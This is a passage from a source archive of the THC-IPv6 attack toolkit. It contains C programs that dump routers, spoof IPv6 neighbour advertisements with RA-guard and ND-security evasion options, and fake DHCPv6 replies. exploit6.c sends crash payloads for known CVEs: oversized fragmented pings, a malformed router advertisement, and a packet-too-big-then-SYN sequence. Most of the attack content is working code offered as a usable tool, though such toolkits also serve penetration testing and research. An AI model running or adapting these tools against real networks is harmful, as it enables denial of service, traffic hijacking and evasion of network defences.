memcpy(wdatabuf2 + len2, wdatabuf + len, 10 + strlen(ptr)); len += 10 + strlen(ptr); len2 += 10 + strlen(ptr); } if ((pkt = thc_create_ipv6_extended(interface, source, &pkt_len, src, dst, hlim, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_udp(pkt, &pkt_len, 546, 547, 0, wdatabuf, len) < 0) return -1; if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0) printf("!"); if ((pkt2 = thc_create_ipv6_extended(interface, source, &pkt2_len, src, dst, hlim, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_udp(pkt2, &pkt2_len, 546, 547, 0, wdatabuf2, len2) < 0) return -1; if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt2, &pkt2_len) < 0) printf("!"); signal(SIGALRM, clean_exit); alarm(2); // i = thc_send_pkt(interface, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); while (1) { usleep(75); while (thc_pcap_check(p, (char *)check_packets, NULL) > 0) ; } return 0; // never reached } thc-ipv6-3.8/dump_router6.c000066400000000000000000000200271376121567700156430ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" #define MAX_SEEN 255 char *frbuf, *frbuf2, *frint, buf3[1504]; int frbuflen, frbuf2len, do_hop = 0, do_frag = 0, do_dst = 0, type = NXT_ICMP6, seen_cnt = 0; unsigned char *frip6, *frmac, *frdst; thc_ipv6_hdr * frhdr = NULL; char seen[MAX_SEEN + 1][16]; extern int do_hdr_size; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s interface [target]\n\n", prg); printf("Dumps all local routers and their information\n\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } void dump_ra_reply(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *)(data + 14), *ptr, *ptr2, tmpbuf[16]; int i, k, len = header->caplen - 14; if (do_hdr_size > 0) { ipv6hdr = (unsigned char *)(data + do_hdr_size); len -= (do_hdr_size - 14); if ((ipv6hdr[0] & 240) != 0x60) return; } if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_ROUTERADV || len < 40 + 16) return; if (seen > 0) { for (i = 0; i < seen_cnt; i++) if (memcmp(seen[i], ipv6hdr + 8, 16) == 0) return; } if (seen_cnt <= MAX_SEEN) memcpy(seen[seen_cnt++], ipv6hdr + 8, 16); printf("Router: %s (MAC: %02x:%02x:%02x:%02x:%02x:%02x)\n", thc_ipv62notation(ipv6hdr + 8), data[6], data[7], data[8], data[9], data[10], data[11]); printf(" Priority: "); i = ipv6hdr[45] & 24; switch (i) { case 0: printf("medium\n"); break; case 8: printf("high\n"); break; case 16: printf("reserved value\n"); break; case 24: printf("low\n"); break; } printf(" Hop Count: %d\n", ipv6hdr[44]); printf(" Lifetime: %d, Reachable: %u, Retrans: %u\n", (ipv6hdr[46] << 8) + ipv6hdr[47], (ipv6hdr[48] << 24) + (ipv6hdr[49] << 16) + (ipv6hdr[50] << 8) + ipv6hdr[51], (ipv6hdr[52] << 24) + (ipv6hdr[53] << 16) + (ipv6hdr[54] << 8) + ipv6hdr[55]); printf(" Flags: "); if ((ipv6hdr[45] & 128) > 0) printf("managed "); else printf("NOTmanaged "); if ((ipv6hdr[45] & 64) > 0) printf("other "); else printf("NOTother "); if ((ipv6hdr[45] & 32) > 0) printf("home-agent "); else printf("NOThome-agent "); if ((ipv6hdr[45] & 4) > 0) printf("proxied "); else printf("NOTproxied "); if ((ipv6hdr[45] & 2) > 0) printf("RESERVED-2-BIT-SET "); if ((ipv6hdr[45] & 1) > 0) printf("RESERVED-1-BIT-SET"); printf("\n"); i = len - 56; ptr = ipv6hdr + 56; printf(" Options:\n"); while (i > 0) { if (i < 8 || ptr[1] * 8 > i || ptr[1] == 0) { printf("Packet truncated!\n\n"); return; } // (ptr[] << 24) + (ptr[] << 16) + (ptr[] << 8) + ptr[] switch (*ptr) { case 1: printf(" MAC: %02x:%02x:%02x:%02x:%02x:%02x\n", ptr[2], ptr[3], ptr[4], ptr[5], ptr[6], ptr[7]); break; case 3: if (ptr[1] != 4) printf(" Prefix: illegal\n"); else { printf(" Prefix: %s/%d (Valid: %u, Preferred: %u)\n", thc_ipv62notation(ptr + 16), ptr[2], (ptr[4] << 24) + (ptr[5] << 16) + (ptr[6] << 8) + ptr[7], (ptr[8] << 24) + (ptr[9] << 16) + (ptr[10] << 8) + ptr[11]); printf(" Flags:"); if ((ptr[3] & 128) > 0) printf(" On-Link"); else printf(" NOT-on-link"); if ((ptr[3] & 64) > 0) printf(" Autoconfig"); else printf(" NOT-autoconfig"); if ((ptr[3] & 32) > 0) printf(" Router-Address"); else printf(" NOT-Router-Address"); if ((ptr[3] & 31) > 0) printf(" RESERVED-BITS-SET-%d", ptr[3] & 63); printf("\n"); } break; case 5: printf(" MTU: %d\n", (ptr[4] << 24) + (ptr[5] << 16) + (ptr[6] << 8) + ptr[7]); break; case 7: printf(" Advertisement Interval: %d\n", (ptr[4] << 24) + (ptr[5] << 16) + (ptr[6] << 8) + ptr[7]); break; case 8: printf(" Home Agent Preference: %d %d\n", (ptr[4] << 8) + (ptr[5]), (ptr[6] << 8) + ptr[7]); break; case 24: if (ptr[1] != 3 && ptr[1] != 2) printf(" Route: illegal\n"); else { memset(tmpbuf, 0, sizeof(tmpbuf)); memcpy(tmpbuf, ptr + 8, 8); printf(" Route: %s/%d (Lifetime: %u)\n", thc_ipv62notation(tmpbuf), ptr[2], (ptr[4] << 24) + (ptr[5] << 16) + (ptr[6] << 8) + ptr[7]); printf(" Priority:"); k = ptr[3] & 24; switch (k) { case 0: printf("medium\n"); break; case 8: printf("high\n"); break; case 16: printf("reserved value\n"); break; case 24: printf("low\n"); break; } } break; case 31: ptr2 = ptr + 9; while (*ptr2 != 0) { if (*ptr2 < 32 && *ptr2 > 0) *ptr2 = '.'; ptr2++; } printf(" DNS Searchlist: %s (Lifetime: %u)\n", ptr + 9, (ptr[4] << 24) + (ptr[5] << 16) + (ptr[6] << 8) + ptr[7]); break; case 25: if (ptr[1] != 3) printf(" DNS: illegal\n"); else { printf(" DNS: %s (Lifetime: %u/%u)\n", thc_ipv62notation(ptr + 8), (ptr[4] << 24) + (ptr[5] << 16) + (ptr[6] << 8) + ptr[7], (ptr[8] << 24) + (ptr[9] << 16) + (ptr[10] << 8) + ptr[11]); } break; default: printf(" Unknown Option Type: %d (size: %d bytes)\n", ptr[0], ptr[1] * 8); } i -= ptr[1] * 8; ptr += ptr[1] * 8; } printf("\n"); } void clean_exit(int sig) { exit(0); } int main(int argc, char *argv[]) { char * interface, string[] = "ip6 and icmp6"; unsigned char *mac6, buf[512]; unsigned char *dst = thc_resolve6("ff02::2"), *src = NULL; int i; unsigned char *pkt = NULL; int pkt_len = 0; int rawmode = 0; pcap_t * p; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "rS:h")) >= 0) { switch (i) { case 'r': thc_ipv6_rawmode(1); rawmode = 1; break; case 'h': help(argv[0]); break; case 'S': if ((src = thc_resolve6(optarg)) == NULL) { fprintf(stderr, "Error: could not resolve %s\n", optarg); return -1; } default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } interface = argv[optind]; if ((mac6 = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (argc - optind > 1 && argv[optind + 1] != NULL) dst = thc_resolve6(argv[optind + 1]); memset(buf, 0, sizeof(buf)); buf[0] = 1; buf[1] = 1; memcpy(buf + 2, mac6, 6); i = 8; memset(seen, 0, sizeof(seen)); if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src, dst, 255, 0, 0, 0xe0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERSOL, 0, 0, buf, i, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0) return -1; signal(SIGALRM, clean_exit); alarm(5); while (1) { while (thc_pcap_check(p, (char *)dump_ra_reply, NULL) > 0) ; usleep(100); } return 0; } thc-ipv6-3.8/exploit6.c000066400000000000000000000314601376121567700147650ustar00rootroot00000000000000/* * Tests various known IPv6 vulnerabilities against a target. * */ #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" unsigned short int ports[] = {22, 25, 53, 80, 443, 0}; int rawmode = 0; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s interface destination [test-case-number]\n\n", prg); printf( "Performs exploits of various CVE known IPv6 vulnerabilities on the " "destination\n"); printf( "Note that for exploitable overflows only 'AAA...' strings are used.\n"); printf("If a system is vulnerable, it will crash, so be careful!\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } void ignoreit() { return; } int check_alive(pcap_t *p, char *interface, unsigned char *src, unsigned char *dst) { int ret = -2; time_t t; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; thc_ping6(interface, src, dst, 16, 1); t = time(NULL); while (ret < 0) { if (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ret = 1; if (time(NULL) > t + 1 && ret == -2) { thc_ping6(interface, src, dst, 16, 1); ret = -1; } if (time(NULL) > t + 4 && ret < 0) ret = 0; } return ret > 0 ? 1 : 0; } int main(int argc, char *argv[]) { int test = 0, count = 1, tmplen; unsigned char buf[1500], bla[1500], tests[256], string[64] = "ip6 and dst ", string2[64] = "ip6 and src "; unsigned char *dst6, *ldst6 = malloc(16), *src6, *lsrc6, *mcast6, *route6, *mal; unsigned char *srcmac = NULL, *dstmac = NULL, *routers[2], null_buffer[6]; thc_ipv6_hdr * hdr; int i = 0, j, srcmtu, fragsize, offset = 14; pcap_t * p; unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL; int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0, noping = 0, mtu = 1500; char * interface; thc_ipv6_hdr *ipv6; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } if (strcmp(argv[1], "-p") == 0) { noping = 1; argv++; argc--; } if (do_hdr_size) offset = do_hdr_size; interface = argv[1]; dst6 = thc_resolve6(argv[2]); route6 = thc_resolve6("2a01::"); memcpy(ldst6, dst6, 16); memset(ldst6 + 2, 0, 6); ldst6[0] = 0xfe; ldst6[1] = 0x80; mcast6 = thc_resolve6("ff02::1"); if (argc >= 4) test = atoi(argv[3]); memset(buf, 0, sizeof(buf)); memset(null_buffer, 0, sizeof(null_buffer)); src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); if ((lsrc6 = thc_get_own_ipv6(interface, ldst6, PREFER_LINK)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } strcat(string, thc_ipv62notation(src6)); strcat(string2, thc_ipv62notation(dst6)); srcmac = thc_get_own_mac(interface); if (rawmode == 0) { if ((dstmac = thc_get_mac(interface, src6, dst6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } } else dstmac = null_buffer; if ((srcmtu = thc_get_mtu(interface)) <= 0) { fprintf(stderr, "ERROR: can not get mtu from interface %s\n", interface); exit(-1); } if (do_hdr_size) srcmtu -= (do_hdr_size - 14); fragsize = ((srcmtu - 62) / 8) * 8; if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } setvbuf(stdout, NULL, _IONBF, 0); memset(tests, 0, sizeof(tests)); printf("Performing vulnerability checks on %s via %s:\n", argv[2], argv[1]); if (noping == 0 && check_alive(p, interface, src6, dst6) == 0) { fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[2]); exit(-1); } else printf("Test 0: normal ping6\t\t\t\tPASSED - we got a reply\n"); /********************** TEST CASES ************************/ if (test == 0 || test == count) { // 1432 printf("Test %2d: CVE-NONE overlarge ping, 6 checksum combinations\n", count); tmplen = 65864; if ((mal = malloc(tmplen)) == NULL) return -1; memset(mal, count % 256, tmplen); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, mal, tmplen, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; // because of the different possible checksum calculations we have to do // them all hdr->pkt[offset + 40 + 3] = 0xe5; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; hdr->pkt[offset + 40 + 2] = 0x98; hdr->pkt[offset + 40 + 3] = 0xa4; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; hdr->pkt[offset + 40 + 3] = 0xa3; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; hdr->pkt[offset + 40 + 2] = 0x84; hdr->pkt[offset + 40 + 3] = 0x90; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; hdr->pkt[offset + 40 + 3] = 0x8f; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; free(mal); pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { // 1432 printf("Test %2d: CVE-NONE large ping, 3 checksum combinations\n", count); tmplen = 65527; if ((mal = malloc(tmplen)) == NULL) return -1; memset(mal, count % 256, tmplen); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, mal, tmplen, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize) < 0) return -1; // because of the different possible checksum calculations we have to do // them all hdr->pkt[offset + 40 + 2] = 0x31; hdr->pkt[offset + 40 + 3] = 0x8c; thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize); hdr->pkt[offset + 40 + 3] = 0x8a; thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, fragsize); free(mal); pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { printf( "Test %2d: CVE-2003-0429 bad prefix length (little information, " "implementation unsure\n", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[6] = 4; // 4-7: retrans timer // option mtu buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[13] = (mtu % 16777216) / 65536; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; // option prefix buf[16] = 3; buf[17] = 4; buf[18] = 128; // prefix length // BUG IS HERE buf[19] = 128 + 64; memset(&buf[20], 17, 4); memset(&buf[24], 4, 4); memcpy(&buf[32], route6, 16); i += 28; // mac address option buf[i++] = 1; buf[i++] = 1; memcpy(buf + i, srcmac, 6); i += 6; // default route routing option buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = 0x00; // prefix length buf[i++] = 0x08; // priority, highest of course i += 2; // 52-53 unknown buf[i++] = 0x11; // lifetime, word buf[i++] = 0x11; // lifetime, word i += 16; // 56-71 address, all zeros for default thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *)&buf, i, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { printf("Test %2d: CVE-2004-0257 ping, send toobig on reply, then SYN pkt\n", count); memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 64, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *)&bla, 68, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; ipv6 = (thc_ipv6_hdr *)pkt; thc_inverse_packet(ipv6->pkt + offset, ipv6->pkt_len - offset); sleep(1); thc_toobig6(interface, src6, srcmac, dstmac, 68, ipv6->pkt + offset, ipv6->pkt_len - offset); i = 0; while (ports[i] != 0) { if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_tcp(pkt, &pkt_len, 1100 + i * 100, ports[i], i * 1000, 0, TCP_SYN, 5760, 0, NULL, 0, NULL, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); pkt_len = 0; i++; } } count++; /* if (test == 0 || test == count) { printf("Test %2d: CVE-20\n", count); memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 0; thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { printf("Test %2d: CVE-20\n", count); memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 0; thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); } count++; */ /* if (test == 0 || test == count) { printf("Test %2d: CVE-20\n", count); memset(bla, count%256, sizeof(bla)); memset(buf, 0, sizeof(buf)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src6, dst6, 255, 0, 0, 0, 0)) == NULL) return -1; buf[0] = 0; thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, count, (unsigned char *) &buf, i, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); } count++; */ // more? /******************* END OF TESTCASES ***************************/ if (noping == 1 || check_alive(p, interface, src6, dst6)) printf("Test %2d: normal ping6 (still alive?)\t\tPASSED - we got a reply\n", count); else printf( "Test %2d: normal ping6 (still alive?)\t\tFAILED - target is " "unavailable now!\n", count); thc_pcap_close(p); return 0; } thc-ipv6-3.8/extract_hosts6.sh000077500000000000000000000015261376121567700163660ustar00rootroot00000000000000#!/bin/bash test -z "$1" -o "$1" = "-h" && { echo $0 FILE echo prints the host parts of IPv6 addresses in FILE #, specify - for stdin exit 1 } test -e "$1" -o "$1" = "-" || { echo Error: File $1 not found exit 1 } { test "$1" = "-" && { echo no } || { cat $1 | egrep :: | egrep -v '^[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}|[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}$' | sed 's/.*::/::/' cat $1 | egrep -v :: | awk -F: '{print "::"$5":"$6":"$7":"$8}' cat $1 | egrep :: | egrep '^[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}|[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}$' | sed 's/::/:0:0:/' | awk -F: '{print "::"$5":"$6":"$7":"$8}' } } | sort -n exit 0 thc-ipv6-3.8/extract_networks6.sh000077500000000000000000000015101376121567700170730ustar00rootroot00000000000000#!/bin/bash test -z "$1" -o "$1" = "-h" && { echo $0 FILE echo prints the networks found in FILE #, specify - for stdin exit 1 } test -e "$1" -o "$1" = "-" || { echo Error: File $1 not found exit 1 } { test "$1" = "-" && { echo no } || { cat $1 | egrep :: | egrep -v '^[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}|[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}$' | sed 's/::.*/::/' cat $1 | egrep -v :: | awk -F: '{print $1":"$2":"$3":"$4"::"}' cat $1 | egrep :: | egrep '^[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}|[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}:[0-9a-fA-F]{1,4}$' | sed 's/::/:0:0:/' | awk -F: '{print $1":"$2":"$3":"$4"::"}' } } | sort -n exit 0 thc-ipv6-3.8/fake_advertise6.c000066400000000000000000000167011376121567700162560ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-DHF] [-Ors] [-n count] [-w seconds] interface " "ip-address-advertised [target-address [mac-address-advertised " "[source-ip-address]]]\n\n", prg); printf( "Advertise IPv6 address on the network (with own mac if not " "specified),\n"); printf( "sending it to the all-nodes multicast address if no target address is " "set.\n"); printf("Source ip address is the address advertised if not set.\n\n"); printf("Sending options:\n"); printf(" -n count send how many packets (default: forever)\n"); printf(" -w seconds wait time between the packets sent (default: 5)\n"); printf( " -m srcmac the srcmac address to send from (not what is " "advertised!\n"); printf("Flag options:\n"); printf(" -O do NOT set the override flag (default: on)\n"); printf(" -r DO set the router flag (default: off)\n"); printf(" -s DO set the solicitate flag (default: off)\n"); printf("ND Security evasion options (can be combined):\n"); printf(" -F full evasion attack (no other evasion options allowed)\n"); printf(" -H add a hop-by-hop header\n"); printf( " -f add a one shot fragment header (can be specified multiple " "times)\n"); printf(" -D add a large destination header which fragments the packet.\n"); exit(-1); } int main(int argc, char *argv[]) { unsigned char *pkt1 = NULL, *pkt2 = NULL, buf[24], buf2[6], buf3[1500]; unsigned char *unicast6, *src6 = NULL, *dst6 = NULL, srcmac[8] = "", replymac[8] = "", *mac = replymac, *smac = NULL; int pkt1_len = 0, pkt2_len = 0, prefer = PREFER_GLOBAL, i, do_hop = 0, do_dst = 0, do_frag = 0, cnt, type = NXT_ICMP6, wait = 5, loop = -1, do_full = 0; unsigned int flags = ICMP6_NEIGHBORADV_OVERRIDE; char * interface; int offset = 14; thc_ipv6_hdr *hdr; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); while ((i = getopt(argc, argv, "DfFHOrsn:w:m:")) >= 0) { switch (i) { case 'n': loop = atoi(optarg); break; case 'w': wait = atoi(optarg); break; case 'm': sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *)&srcmac[0], (unsigned int *)&srcmac[1], (unsigned int *)&srcmac[2], (unsigned int *)&srcmac[3], (unsigned int *)&srcmac[4], (unsigned int *)&srcmac[5]); smac = srcmac; break; case 'O': if ((flags & ICMP6_NEIGHBORADV_OVERRIDE) > 0) flags -= ICMP6_NEIGHBORADV_OVERRIDE; break; case 'r': flags = (flags | ICMP6_NEIGHBORADV_ROUTER); break; case 's': flags = (flags | ICMP6_NEIGHBORADV_SOLICIT); break; case 'f': do_frag++; break; case 'H': do_hop = 1; break; case 'F': do_full = 1; break; case 'D': do_dst = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (do_full) do_hop = do_dst = do_frag = 0; if (argc - optind < 2) help(argv[0]); if (do_hdr_size) offset = do_hdr_size; interface = argv[optind]; if (thc_get_own_mac(interface) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if ((unicast6 = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]); exit(-1); } if (argc - optind >= 3 && argv[optind + 2] != NULL) dst6 = thc_resolve6(argv[optind + 2]); else dst6 = thc_resolve6("ff02::1"); if (dst6 == NULL) { fprintf(stderr, "Error: could not resolve destination of advertise: %s\n", argv[optind + 2]); exit(-1); } if (argc - optind >= 4 && argv[optind + 3] != NULL) sscanf(argv[optind + 3], "%x:%x:%x:%x:%x:%x", (unsigned int *)&replymac[0], (unsigned int *)&replymac[1], (unsigned int *)&replymac[2], (unsigned int *)&replymac[3], (unsigned int *)&replymac[4], (unsigned int *)&replymac[5]); else mac = thc_get_own_mac(interface); if (smac == NULL) smac = mac; if (argc - optind >= 5 && argv[optind + 4] != NULL) src6 = thc_resolve6(argv[optind + 4]); else src6 = unicast6; memset(buf, 0, sizeof(buf)); memcpy(buf, unicast6, 16); buf[16] = 2; buf[17] = 1; memcpy(&buf[18], mac, 6); memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); if ((pkt1 = thc_create_ipv6_extended(interface, prefer, &pkt1_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL) return -1; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt1, &pkt1_len, buf2, sizeof(buf2)) < 0) return -1; } if (do_frag) { if (type == NXT_ICMP6) type = NXT_FRAG; for (i = 0; i <= do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt1, &pkt1_len, cnt++) < 0) return -1; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt1, &pkt1_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_NEIGHBORADV, 0, flags, (unsigned char *)&buf, 24, 0) < 0) return -1; if (thc_generate_pkt(interface, smac, NULL, pkt1, &pkt1_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } /* if ((pkt2 = thc_create_ipv6_extended(interface, prefer, &pkt2_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL) return -1; if (do_hop) if (thc_add_hdr_hopbyhop(pkt2, &pkt2_len, buf2, sizeof(buf2)) < 0) return -1; if (do_frag) for (i = 0; i <= do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt2, &pkt2_len, cnt++) < 0) return -1; if (do_dst) if (thc_add_hdr_hopbyhop(pkt2, &pkt2_len, buf3, sizeof(buf3)) < 0) return -1; if (thc_add_icmp6(pkt2, &pkt2_len, ICMP6_NEIGHBORADV, 0, 0, (unsigned char *) &buf, 24, 0) < 0) return -1; if (thc_generate_pkt(interface, smac, NULL, pkt2, &pkt2_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } */ printf("Starting advertisement of %s (Press Control-C to end)\n", argv[optind + 1]); while (loop) { if (do_full) { hdr = (thc_ipv6_hdr *)pkt1; thc_send_raguard_bypass6(interface, src6, dst6, smac, NULL, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 0); } else if (do_dst) { hdr = (thc_ipv6_hdr *)pkt1; thc_send_as_fragment6(interface, src6, dst6, type, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); hdr = (thc_ipv6_hdr *)pkt2; thc_send_as_fragment6(interface, src6, dst6, type, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); } else { thc_send_pkt(interface, pkt1, &pkt1_len); // thc_send_pkt(interface, pkt2, &pkt2_len); } if (loop != -1) loop--; if (loop) sleep(wait); } return 0; } thc-ipv6-3.8/fake_dhcps6.c000066400000000000000000000274761376121567700154040ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void 